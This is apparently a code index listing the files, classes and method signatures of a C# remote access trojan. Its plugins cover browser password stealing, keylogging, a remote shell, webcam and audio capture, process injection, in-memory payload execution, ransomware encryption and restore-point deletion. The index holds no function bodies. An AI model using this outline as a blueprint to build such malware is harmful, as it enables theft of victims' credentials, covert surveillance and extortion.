[StructLayout(LayoutKind.Sequential)] type KEYBDINPUT (line 85) | [StructLayout(LayoutKind.Sequential)] type HARDWAREINPUT (line 95) | [StructLayout(LayoutKind.Sequential)] method SetCursorPos (line 103) | [DllImport(user32)] FILE: Remote Access Tool/Plugins/RemoteDesktop/KeyboardHelper.cs class KeyboardHelper (line 11) | internal class KeyboardHelper method KeyPress (line 13) | internal static void KeyPress(byte key, bool keyDown) FILE: Remote Access Tool/Plugins/RemoteDesktop/Launch.cs class Launch (line 12) | public static class Launch method Main (line 17) | public static void Main(LoadingAPI loadingAPI) FILE: Remote Access Tool/Plugins/RemoteDesktop/MouseHelper.cs class MouseHelper (line 12) | internal class MouseHelper method MouseLeftClick (line 14) | internal static void MouseLeftClick(Point p, bool isMouseDown) method MiddleMouseClick (line 38) | internal static void MiddleMouseClick(Point p, bool isMouseDown) method MouseRightClick (line 62) | internal static void MouseRightClick(Point p, bool isMouseDown) method MouseScroll (line 87) | internal static void MouseScroll(Point p, bool scrollDown) method MouseMove (line 111) | internal static void MouseMove(Point p) FILE: Remote Access Tool/Plugins/RemoteShell/ClientHandler.cs class ClientHandler (line 15) | internal class ClientHandler : IDisposable method ClientHandler (line 41) | public ClientHandler(Host host, string key, string baseIp, string HWID... method ConnectStart (line 54) | public void ConnectStart() method Connect (line 60) | private bool Connect() method EndConnect (line 72) | public void EndConnect(IAsyncResult ar) method Receive (line 98) | public void Receive() method ReceiveData (line 111) | private byte[] ReceiveData() method EndDataRead (line 144) | public void EndDataRead(IAsyncResult ar) method PacketParser (line 153) | private IPacket PacketParser(byte[] BufferPacket) method EndPacketRead (line 163) | public void EndPacketRead(IAsyncResult ar) method ParsePacket (line 171) | public void ParsePacket(IPacket packet) method SendPacket (line 186) | public void SendPacket(IPacket packet) method SendData (line 191) | private PacketType SendData(IPacket data) method SendDataCompleted (line 248) | private void SendDataCompleted(IAsyncResult ar) method Dispose (line 253) | public void Dispose() FILE: Remote Access Tool/Plugins/RemoteShell/Launch.cs class Launch (line 12) | public static class Launch method Main (line 16) | public static void Main(LoadingAPI loadingAPI) FILE: Remote Access Tool/Plugins/RemoteShell/ShellHander.cs class ShellHander (line 17) | internal class ShellHander : IDisposable method ShellHander (line 19) | internal ShellHander(bool isPWS) method CreateSession (line 32) | private void CreateSession() method RedirectIO (line 75) | private void RedirectIO() method ReadStream (line 82) | private void ReadStream(int firstCharRead, StreamReader streamReader, ... method SendAndFlushBuffer (line 107) | private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isE... method RedirectStandardOutput (line 131) | private void RedirectStandardOutput() method RedirectStandardError (line 164) | private void RedirectStandardError() method ExecuteCommand (line 197) | public bool ExecuteCommand(string command) method ConvertEncoding (line 218) | private string ConvertEncoding(Encoding sourceEncoding, string input) method Dispose (line 224) | public void Dispose() method Dispose (line 230) | protected virtual void Dispose(bool disposing) FILE: Remote Access Tool/Plugins/ScreenLocker/Helpers.cs class Helpers (line 13) | internal static class Helpers method SetAero10 (line 16) | internal static int SetAero10(IntPtr hwnd) method StartScreenLocker (line 36) | internal static void StartScreenLocker() method StopScreenLocker (line 46) | internal static void StopScreenLocker() FILE: Remote Access Tool/Plugins/ScreenLocker/Imports.cs class Imports (line 11) | internal static class Imports method SetForegroundWindow (line 15) | [DllImport(user32)] method SetWindowCompositionAttribute (line 17) | [DllImport(user32)] method SetWindowPos (line 19) | [DllImport(user32)] method PostMessage (line 22) | [DllImport(user32)] type WM_Message (line 25) | public enum WM_Message : uint type SC_Message (line 33) | public enum SC_Message : uint type MARGINS (line 42) | [StructLayout(LayoutKind.Sequential)] type WindowCompositionAttributeData (line 51) | [StructLayout(LayoutKind.Sequential)] type AccentPolicy (line 59) | [StructLayout(LayoutKind.Sequential)] type WindowCompositionAttribute (line 68) | public enum WindowCompositionAttribute type AccentState (line 99) | public enum AccentState FILE: Remote Access Tool/Plugins/ScreenLocker/Launch.cs class Launch (line 12) | public static class Launch method Main (line 14) | public static void Main(LoadingAPI loadingAPI) FILE: Remote Access Tool/Plugins/ScreenLocker/ScreenLocker.cs class ScreenLocker (line 12) | class ScreenLocker : Form method ScreenLocker (line 14) | public ScreenLocker(string name) method Dispose (line 22) | protected override void Dispose(bool disposing) method InitializeComponent (line 39) | public void InitializeComponent() method Form1_Load (line 63) | private void Form1_Load(object sender, EventArgs e) method Form1_Shown (line 73) | private void Form1_Shown(object sender, EventArgs e) FILE: Remote Access Tool/Plugins/Stealer/ChromiumAutofill.cs class ChromiumAutofill (line 10) | internal class ChromiumAutofill method Recovery (line 12) | internal static List Recovery() FILE: Remote Access Tool/Plugins/Stealer/ChromiumHistory.cs class ChromiumHistory (line 10) | internal static class ChromiumHistory method Recovery (line 14) | internal static List Recovery() FILE: Remote Access Tool/Plugins/Stealer/ChromiumKeywords.cs class ChromiumKeywords (line 10) | internal class ChromiumKeywords method Recovery (line 14) | internal static List Recovery() FILE: Remote Access Tool/Plugins/Stealer/ChromiumRecovery.cs class ChromiumRecovery (line 10) | internal static class ChromiumRecovery method Recovery (line 12) | internal static List Recovery() FILE: Remote Access Tool/Plugins/Stealer/ClientHandler.cs class ClientHandler (line 14) | internal class ClientHandler : IDisposable method ClientHandler (line 32) | public ClientHandler(Host host, string key) : base() method ConnectStart (line 40) | public void ConnectStart() method Connect (line 46) | private bool Connect() method EndConnect (line 58) | public void EndConnect(IAsyncResult ar) method SendPacket (line 68) | public void SendPacket(IPacket packet) method SendData (line 74) | private int SendData(IPacket data) method SendDataCompleted (line 131) | private void SendDataCompleted(IAsyncResult ar) method Dispose (line 137) | public void Dispose() FILE: Remote Access Tool/Plugins/Stealer/FireFoxRecovery.cs class FireFoxRecovery (line 11) | internal static class FireFoxRecovery method Recovery (line 13) | internal static List Recovery() FILE: Remote Access Tool/Plugins/Stealer/Launch.cs class Launch (line 13) | public static class Launch method Main (line 15) | public static void Main(LoadingAPI loadingAPI) method ClientSender (line 56) | private static void ClientSender(Host host, string key, IPacket packet) FILE: Remote Access Tool/Utils/HookHardware/Global.cs class Global (line 11) | public static class Global method HookKeyboard (line 19) | public static void HookKeyboard() method KeyboardThread (line 28) | private static void KeyboardThread() method UnhookKeyboard (line 38) | public static void UnhookKeyboard() method HookMouse (line 44) | public static void HookMouse() method MouseThread (line 52) | private static void MouseThread() method UnhookMouse (line 61) | public static void UnhookMouse() FILE: Remote Access Tool/Utils/HookHardware/Imports.cs class Imports (line 13) | internal class Imports method UnhookWindowsHookEx (line 17) | [DllImport(user32)] method CallNextHookEx (line 20) | [DllImport(user32)] method SetWindowsHookEx (line 23) | [DllImport(user32)] method SetWindowsHookEx (line 25) | [DllImport(user32)] type KBDLLHOOKSTRUCT (line 40) | [StructLayout(LayoutKind.Sequential)] type MSLLHOOKSTRUCT (line 63) | [StructLayout(LayoutKind.Sequential)] FILE: Remote Access Tool/Utils/HookHardware/Keyboard.cs class Keyboard (line 11) | public class Keyboard method AbortHook (line 17) | public void AbortHook() method HookKeyboard (line 27) | public void HookKeyboard() method BlockKey (line 33) | protected static IntPtr BlockKey(int nCode, IntPtr wp, IntPtr lp) FILE: Remote Access Tool/Utils/HookHardware/Mouse.cs class Mouse (line 12) | public class Mouse method AbortHook (line 19) | public void AbortHook() method HookMouse (line 28) | public void HookMouse() method BlockKey (line 34) | protected static IntPtr BlockKey(int nCode, IntPtr wp, IntPtr lp) FILE: Remote Access Tool/Utils/PacketLib/Interface/IPacket.cs type IPacket (line 10) | public interface IPacket FILE: Remote Access Tool/Utils/PacketLib/LoadingAPI.cs class LoadingAPI (line 10) | public class LoadingAPI FILE: Remote Access Tool/Utils/PacketLib/Packet/Audio/RemoteAudioCapturePacket.cs class RemoteAudioCapturePacket (line 10) | [Serializable] method RemoteAudioCapturePacket (line 13) | public RemoteAudioCapturePacket(PacketType packetType) : base() method RemoteAudioCapturePacket (line 18) | public RemoteAudioCapturePacket(byte[] audioCapture, int bytesRecorded... FILE: Remote Access Tool/Utils/PacketLib/Packet/Audio/RemoteAudioPacket.cs class RemoteAudioPacket (line 11) | [Serializable] method RemoteAudioPacket (line 14) | public RemoteAudioPacket() : base() method RemoteAudioPacket (line 19) | public RemoteAudioPacket(List audioDevices, string baseIp, str... FILE: Remote Access Tool/Utils/PacketLib/Packet/Client/BaseIpPacket.cs class BaseIpPacket (line 10) | [Serializable] method BaseIpPacket (line 13) | public BaseIpPacket(string baseIp) : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Client/ClosePacket.cs class ClosePacket (line 10) | [Serializable] method ClosePacket (line 13) | public ClosePacket() : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Client/ConnectedPacket.cs class ConnectedPacket (line 12) | [Serializable] method ConnectedPacket (line 16) | public ConnectedPacket() : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Client/UninstallPacket.cs class UninstallPacket (line 10) | [Serializable] method UninstallPacket (line 13) | public UninstallPacket() : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteKeyboardPacket.cs class RemoteKeyboardPacket (line 11) | [Serializable] method RemoteKeyboardPacket (line 14) | public RemoteKeyboardPacket(byte keyCode, bool isDown) : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteMousePacket.cs class RemoteMousePacket (line 10) | [Serializable] type MouseTypeAction (line 13) | public enum MouseTypeAction method RemoteMousePacket (line 26) | public RemoteMousePacket(MouseTypeAction mouseTypeAction, int x = 0, i... FILE: Remote Access Tool/Utils/PacketLib/Packet/Desktop/RemoteViewerPacket.cs class RemoteViewerPacket (line 10) | [Serializable] method RemoteViewerPacket (line 13) | public RemoteViewerPacket(PacketType packetType) : base() method RemoteViewerPacket (line 18) | public RemoteViewerPacket(PacketType packetType, string baseIp, string... FILE: Remote Access Tool/Utils/PacketLib/Packet/File/DeleteFilePacket.cs class DeleteFilePacket (line 10) | [Serializable] method DeleteFilePacket (line 14) | public DeleteFilePacket(string path, string name, long fileTicket) : b... method DeleteFilePacket (line 24) | public DeleteFilePacket(string path, string name, bool deleted, string... FILE: Remote Access Tool/Utils/PacketLib/Packet/File/DiskPacket.cs class DiskPacket (line 11) | [Serializable] method DiskPacket (line 15) | public DiskPacket() : base() method DiskPacket (line 21) | public DiskPacket(List disks, string baseIp, string HWID) : ba... FILE: Remote Access Tool/Utils/PacketLib/Packet/File/DownloadFilePacket.cs class DownloadFilePacket (line 10) | [Serializable] method DownloadFilePacket (line 14) | public DownloadFilePacket(string path, long fileTicket) : base() method DownloadFilePacket (line 22) | public DownloadFilePacket(byte[]file, string fileName, string baseIp, ... FILE: Remote Access Tool/Utils/PacketLib/Packet/File/FileManagerPacket.cs class FileManagerPacket (line 11) | [Serializable] method FileManagerPacket (line 15) | public FileManagerPacket(string path) : base() method FileManagerPacket (line 23) | public FileManagerPacket(Dictionary> filesAndDi... FILE: Remote Access Tool/Utils/PacketLib/Packet/File/RenameFilePacket.cs class RenameFilePacket (line 10) | [Serializable] method RenameFilePacket (line 13) | public RenameFilePacket() : base() method RenameFilePacket (line 18) | public RenameFilePacket(string oldName, string oldPath, string newName... method RenameFilePacket (line 28) | public RenameFilePacket(string oldName, string oldPath, string newName... FILE: Remote Access Tool/Utils/PacketLib/Packet/File/ShortCutFileManagersPacket.cs class ShortCutFileManagersPacket (line 11) | [Serializable] type ShortCuts (line 14) | public enum ShortCuts : byte method ShortCutFileManagersPacket (line 22) | public ShortCutFileManagersPacket(ShortCuts shortCuts) : base() method ShortCutFileManagersPacket (line 29) | public ShortCutFileManagersPacket(Dictionary> f... FILE: Remote Access Tool/Utils/PacketLib/Packet/File/StartFilePacket.cs class StartFilePacket (line 10) | [Serializable] method StartFilePacket (line 13) | public StartFilePacket(string filePath) : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/File/UploadFilePacket.cs class UploadFilePacket (line 10) | [Serializable] method UploadFilePacket (line 14) | public UploadFilePacket(string path, byte[] file) : base() method UploadFilePacket (line 22) | public UploadFilePacket(string fileName, bool uploaded, string baseIp,... FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/InformationPacket.cs class HardwareInformation (line 11) | [Serializable] class SystemInformation (line 18) | [Serializable] type AccountType (line 21) | public enum AccountType class Information (line 31) | [Serializable] class InformationPacket (line 38) | [Serializable] method InformationPacket (line 41) | public InformationPacket() : base() method InformationPacket (line 46) | public InformationPacket(Dictionary> cpuInformati... FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogOfflinePacket.cs class KeylogOfflinePacket (line 10) | [Serializable] method KeylogOfflinePacket (line 13) | public KeylogOfflinePacket(string keyStroke, string baseIp, string HWI... FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/KeylogPacket.cs class KeylogPacket (line 10) | [Serializable] method KeylogPacket (line 13) | public KeylogPacket() : base() method KeylogPacket (line 18) | public KeylogPacket(string keyStroke, string baseIp, string HWID) : ba... method KeylogPacket (line 28) | public KeylogPacket(string baseIp, string HWID) : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MemoryExecutionPacket.cs class MemoryExecutionPacket (line 10) | [Serializable] method MemoryExecutionPacket (line 13) | public MemoryExecutionPacket(PacketType packetType, byte[] payload) : ... FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/MiscellaneousPacket.cs class MiscellaneousPacket (line 10) | [Serializable] method MiscellaneousPacket (line 13) | public MiscellaneousPacket(PacketType miscOption) : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/NetworkInformationPacket.cs class TCPInformation (line 11) | [Serializable] type TCP_CONNECTION_STATE (line 20) | public enum TCP_CONNECTION_STATE class NetworkInformationPacket (line 37) | [Serializable] method NetworkInformationPacket (line 40) | public NetworkInformationPacket() : base() method NetworkInformationPacket (line 45) | public NetworkInformationPacket(List tcpInformationLis... FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/OpenUrlPacket.cs class OpenUrlPacket (line 10) | [Serializable] method OpenUrlPacket (line 13) | public OpenUrlPacket(string url) : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/PowerPacket.cs class PowerPacket (line 10) | [Serializable] method PowerPacket (line 13) | public PowerPacket(PacketType powerOption) : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteChatPacket.cs class RemoteChatPacket (line 10) | [Serializable] method RemoteChatPacket (line 13) | public RemoteChatPacket(PacketType packetType) : base() method RemoteChatPacket (line 18) | public RemoteChatPacket(string msg) : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/RemoteCodeExecution.cs class RemoteCodeExecution (line 11) | [Serializable] method RemoteCodeExecution (line 14) | public RemoteCodeExecution(PacketType packetType, string compilerOptio... FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/ScreenRotationPacket.cs class ScreenRotationPacket (line 10) | [Serializable] method ScreenRotationPacket (line 13) | public ScreenRotationPacket(string degrees) : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Miscellaneous/WallPaperPacket.cs class WallPaperPacket (line 10) | [Serializable] method WallPaperPacket (line 13) | public WallPaperPacket(byte[] wallpaper, string ext) : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/PacketState.cs type PacketState (line 8) | public enum PacketState FILE: Remote Access Tool/Utils/PacketLib/Packet/PacketType.cs type PacketType (line 8) | public enum PacketType : byte FILE: Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessInjectionPacket.cs class ProcessInjectionPacket (line 10) | [Serializable] type INJECTION_METHODS (line 13) | public enum INJECTION_METHODS : byte method ProcessInjectionPacket (line 20) | public ProcessInjectionPacket(byte[] payload, INJECTION_METHODS inject... FILE: Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessKillerPacket.cs class ProcessKillerPacket (line 10) | [Serializable] method ProcessKillerPacket (line 15) | public ProcessKillerPacket(int processId, string processName, int rowI... method ProcessKillerPacket (line 26) | public ProcessKillerPacket(bool killed, int processId, string processN... FILE: Remote Access Tool/Utils/PacketLib/Packet/Process/ProcessManagerPacket.cs class Proc (line 11) | [Serializable] class ProcessManagerPacket (line 22) | [Serializable] method ProcessManagerPacket (line 25) | public ProcessManagerPacket() : base() method ProcessManagerPacket (line 30) | public ProcessManagerPacket(List processes, string baseIp, strin... FILE: Remote Access Tool/Utils/PacketLib/Packet/Process/ResumeProcessPacket.cs class ResumeProcessPacket (line 10) | [Serializable] method ResumeProcessPacket (line 15) | public ResumeProcessPacket(int processId, string processName, int rowI... method ResumeProcessPacket (line 25) | public ResumeProcessPacket(bool resumed, int processId, string process... FILE: Remote Access Tool/Utils/PacketLib/Packet/Process/SuspendProcessPacket.cs class SuspendProcessPacket (line 10) | [Serializable] method SuspendProcessPacket (line 15) | public SuspendProcessPacket(int processId, string processName, int row... method SuspendProcessPacket (line 25) | public SuspendProcessPacket(bool suspended, int processId, string proc... FILE: Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareConfirmationPacket.cs class RansomwareConfirmationPacket (line 10) | [Serializable] method RansomwareConfirmationPacket (line 13) | public RansomwareConfirmationPacket(PacketType packetType, string resu... FILE: Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareDecryptionPacket.cs class RansomwareDecryptionPacket (line 11) | [Serializable] method RansomwareDecryptionPacket (line 15) | public RansomwareDecryptionPacket(string privateRSAServerKey) : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Ransomware/RansomwareEncryptionPacket.cs class RansomwareEncryptionPacket (line 11) | [Serializable] method RansomwareEncryptionPacket (line 14) | public RansomwareEncryptionPacket(PacketType packetType) : base() method RansomwareEncryptionPacket (line 19) | public RansomwareEncryptionPacket(string publicRSAServerKey, List autofill, string baseIp, string H... FILE: Remote Access Tool/Utils/PacketLib/Packet/Recovery/HistoryPacket.cs class HistoryPacket (line 11) | [Serializable] method HistoryPacket (line 15) | public HistoryPacket() : base() method HistoryPacket (line 21) | public HistoryPacket(List history, string baseIp, string HWI... FILE: Remote Access Tool/Utils/PacketLib/Packet/Recovery/KeywordsPacket.cs class KeywordsPacket (line 11) | [Serializable] method KeywordsPacket (line 15) | public KeywordsPacket() : base() method KeywordsPacket (line 21) | public KeywordsPacket(List keywords, string baseIp, string H... FILE: Remote Access Tool/Utils/PacketLib/Packet/Recovery/PasswordsPacket.cs class PasswordsPacket (line 11) | [Serializable] method PasswordsPacket (line 15) | public PasswordsPacket() : base() method PasswordsPacket (line 21) | public PasswordsPacket(List passwords, string baseIp, string... FILE: Remote Access Tool/Utils/PacketLib/Packet/Recovery/RecoveryPacket.cs class RecoveryPacket (line 5) | [Serializable] method RecoveryPacket (line 8) | public RecoveryPacket() : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Shell/NewCommandShellSessionPacket.cs class NewCommandShellSessionPacket (line 10) | [Serializable] method NewCommandShellSessionPacket (line 13) | public NewCommandShellSessionPacket(string shellCommand) : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Shell/StartShellSessionPacket.cs class StartShellSessionPacket (line 10) | [Serializable] method StartShellSessionPacket (line 13) | public StartShellSessionPacket(bool isPWS) : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Shell/StdOutShellSessionPacket.cs class StdOutShellSessionPacket (line 10) | [Serializable] method StdOutShellSessionPacket (line 13) | public StdOutShellSessionPacket(string shellStdOut) : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/Shell/StopShellSessionPacket.cs class StopShellSessionPacket (line 10) | [Serializable] method StopShellSessionPacket (line 13) | public StopShellSessionPacket() : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/UAC/AskAdminRightsPacket.cs class AskAdminRightsPacket (line 10) | [Serializable] method AskAdminRightsPacket (line 13) | public AskAdminRightsPacket() : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/UAC/DeleteRestorePointPacket.cs class DeleteRestorePointPacket (line 10) | [Serializable] method DeleteRestorePointPacket (line 14) | public DeleteRestorePointPacket(int index) : base() method DeleteRestorePointPacket (line 22) | public DeleteRestorePointPacket(int index, bool deleted, string baseIp... FILE: Remote Access Tool/Utils/PacketLib/Packet/UAC/RestorePointPacket.cs class RestorePoint (line 11) | [Serializable] type RestorePointType (line 18) | public enum RestorePointType class RestorePointPacket (line 29) | [Serializable] method RestorePointPacket (line 32) | public RestorePointPacket() : base() method RestorePointPacket (line 37) | public RestorePointPacket(List restorePoints, string bas... FILE: Remote Access Tool/Utils/PacketLib/Packet/WebCam/RemoteCameraCapturePacket.cs class RemoteCameraCapturePacket (line 10) | [Serializable] method RemoteCameraCapturePacket (line 13) | public RemoteCameraCapturePacket(PacketType packetType) : base() method RemoteCameraCapturePacket (line 18) | public RemoteCameraCapturePacket(byte[] cameraCapture) : base() FILE: Remote Access Tool/Utils/PacketLib/Packet/WebCam/RemoteCameraPacket.cs class RemoteCameraPacket (line 11) | [Serializable] method RemoteCameraPacket (line 14) | public RemoteCameraPacket() : base() method RemoteCameraPacket (line 19) | public RemoteCameraPacket(List cameras, string baseIp, string ... FILE: Remote Access Tool/Utils/PacketLib/Utils/Algorithm.cs type Algorithm (line 9) | public enum Algorithm : byte FILE: Remote Access Tool/Utils/PacketLib/Utils/Compressor.cs class Compressor (line 18) | public class Compressor class QuickLZ (line 20) | public static class QuickLZ method headerLen (line 42) | private static int headerLen(byte[] source) method sizeDecompressed (line 47) | public static int sizeDecompressed(byte[] source) method sizeCompressed (line 55) | public static int sizeCompressed(byte[] source) method write_header (line 63) | private static void write_header(byte[] dst, int level, bool compres... method Compress (line 73) | public static byte[] Compress(byte[] source, int level) method fast_write (line 299) | private static void fast_write(byte[] a, int i, int value, int numby... method Decompress (line 305) | public static byte[] Decompress(byte[] source) FILE: Remote Access Tool/Utils/PacketLib/Utils/Encryption.cs class Encryption (line 11) | public class Encryption method RSMEncrypt (line 13) | public static byte[] RSMEncrypt(byte[] input, byte[] key) method RSMDecrypt (line 35) | public static byte[] RSMDecrypt(byte[] data, byte[] key) FILE: Remote Access Tool/Utils/PacketLib/Utils/Host.cs class Host (line 11) | public class Host method Host (line 18) | public Host(string host, string port) method CheckDNS (line 23) | private string CheckDNS(string url) FILE: Remote Access Tool/Utils/PacketLib/Utils/HwidGen.cs class HwidGen (line 15) | internal class HwidGen method identifier (line 17) | private static string identifier(string wmiClass, string wmiProperty) method procId (line 36) | private static string procId() method baseId (line 43) | private static string baseId() method GetHash (line 50) | private static string GetHash(string strToHash) method HWID (line 60) | public static string HWID() FILE: Remote Access Tool/Utils/PacketLib/Utils/ImageProcessing.cs class ImageProcessing (line 11) | public class ImageProcessing method BytesToImage (line 13) | public static Image BytesToImage(byte[] bytes) method ImageToBytes (line 20) | public static byte[] ImageToBytes(Image img) FILE: Remote Access Tool/Utils/PacketLib/Utils/Miscellaneous.cs class Miscellaneous (line 14) | public class Miscellaneous method Check64Bit (line 18) | public static string Check64Bit() method Privilege (line 29) | public static string Privilege() method CleanMemory (line 43) | public static void CleanMemory() FILE: Remote Access Tool/Utils/PacketLib/Utils/Native.cs class Native (line 11) | internal class Native method SetProcessWorkingSetSize (line 13) | [DllImport("kernel32.dll", EntryPoint = "SetProcessWorkingSetSize", Ex... method EmptyWorkingSet (line 16) | [DllImport("psapi")] method GetPhysicallyInstalledSystemMemory (line 19) | [DllImport("kernel32.dll")] method DeleteFile (line 24) | [DllImport("kernel32.dll", SetLastError = true)] method MoveFile (line 27) | [DllImport("kernel32.dll", SetLastError = true)] FILE: Remote Access Tool/Utils/PacketLib/Utils/Serializer.cs class Serializer (line 14) | public static class Serializer method SerializePacket (line 16) | public static byte[] SerializePacket(this IPacket _object, string key) method DeserializePacket (line 29) | public static IPacket DeserializePacket(this byte[] _byteArray, string... FILE: Remote Access Tool/bin/Release/Stubs/client.cs class Config (line 15) | public static class Config class StarterClass (line 25) | public class StarterClass method OneInstance (line 29) | public static void OneInstance() method DomCheck (line 38) | private static System.Reflection.Assembly DomCheck(object send, System... method StarterClass (line 75) | static StarterClass() method StartOfflineKeylogger (line 80) | internal static void StartOfflineKeylogger() method NtTerminateProcess (line 98) | [DllImport("ntdll.dll")] method Main (line 103) | [MTAThread] method MakeInstall (line 128) | public static void MakeInstall() class PacketHandler (line 133) | internal static class PacketHandler method PacketHandler (line 138) | static PacketHandler() method ParsePacket (line 143) | internal static void ParsePacket(IPacket packet) method LoadPlugin (line 170) | internal static void LoadPlugin(IPacket packet) method EndLoadPlugin (line 187) | public static void EndLoadPlugin(IAsyncResult ar) class ClientHandler (line 193) | internal class ClientHandler method ClientHandler (line 214) | internal ClientHandler() : base() method ConnectStart (line 221) | public void ConnectStart() method Connect (line 236) | private bool Connect() method EndConnect (line 249) | public void EndConnect(IAsyncResult ar) method Receive (line 266) | public void Receive() method ReceiveData (line 273) | private byte[] ReceiveData() method EndDataRead (line 303) | public void EndDataRead(IAsyncResult ar) method PacketParser (line 314) | private IPacket PacketParser(byte[] bufferPacket) method EndPacketRead (line 318) | public void EndPacketRead(IAsyncResult ar) method SendPacket (line 325) | public void SendPacket(IPacket packet) method SendData (line 330) | private int SendData(IPacket data) method SendDataCompleted (line 384) | private void SendDataCompleted(IAsyncResult ar)